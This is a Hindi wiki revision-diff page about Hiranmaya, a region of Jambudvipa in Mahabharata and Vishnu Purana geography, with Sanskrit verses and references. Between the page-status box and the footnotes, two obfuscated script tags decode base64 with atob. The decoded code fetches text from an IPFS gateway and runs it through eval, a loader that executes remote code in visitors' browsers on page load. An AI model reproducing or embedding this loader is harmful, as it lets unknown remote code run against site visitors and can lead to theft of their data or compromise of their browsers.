"हिरण्मय" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
('*महाभारत के भूगोल के अनुसार जंबूद्वीप का एक विभाग...' के साथ नया पन्ना बनाया)
 
पंक्ति 1: पंक्ति 1:
*[[महाभारत]] के भूगोल के अनुसार [[जंबूद्वीप]] का एक विभाग-
+
*[[महाभारत]] के भूगोल के अनुसार [[जंबूद्वीप]] का एक विभाग है-
 
<poem>‘दक्षिणेन तु नीलस्यः निषधस्योत्तरेणतु, वर्ष हिरण्मयं यब हैरण्वती नदी।  
 
<poem>‘दक्षिणेन तु नीलस्यः निषधस्योत्तरेणतु, वर्ष हिरण्मयं यब हैरण्वती नदी।  
 
यत्र चायं महाराज पक्षिराट् पतगोत्तमः, यक्षानुगा धनिनः प्रियदर्शनाः।  
 
यत्र चायं महाराज पक्षिराट् पतगोत्तमः, यक्षानुगा धनिनः प्रियदर्शनाः।  

04:57, 5 सितम्बर 2012 का अवतरण

‘दक्षिणेन तु नीलस्यः निषधस्योत्तरेणतु, वर्ष हिरण्मयं यब हैरण्वती नदी।
यत्र चायं महाराज पक्षिराट् पतगोत्तमः, यक्षानुगा धनिनः प्रियदर्शनाः।
महाबलास्तत्र जना राजन् मुदितमानसा, एकादशसहस्त्राणि वर्षाणां ते जनाधिप, आयु: प्रमाणं जीवन्ति शतानि दश पंच च, श्रृंगाणि च विचित्राणि त्रीण्येव मनुजाधिप।
एकं मणिमयं तत्र तथैकं रौक्ममद्भुतम् सर्वरत्ममयं चैकं भवनैरूपशोभितम्, तत्र स्वयं प्रभादेवी नित्यं वसति शांडिली’।[1]

  • विष्णुपुराण[2] में हिरण्य को रम्यक के उत्तर ओर उत्तरकुरू के दक्षिण में बताया गया है-

‘रम्यकंचोत्तरं वर्ष तस्यैवानु हिरण्मयम्,
उत्तराः कुरवःश्चैव तथा वै भारत तथा’।

  • इस प्रकार इसकी स्थिति साइबेरिया के दक्षिण भाग मंगोलिया के परिवर्ती प्रदेश में मानी जा सकती है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. महाभारत, भीष्मपर्व महाभारत 9, 5-6-7-8-9-10
  2. विष्णुपुराण 2, 3, 13

बाहरी कड़ियाँ

संबंधित लेख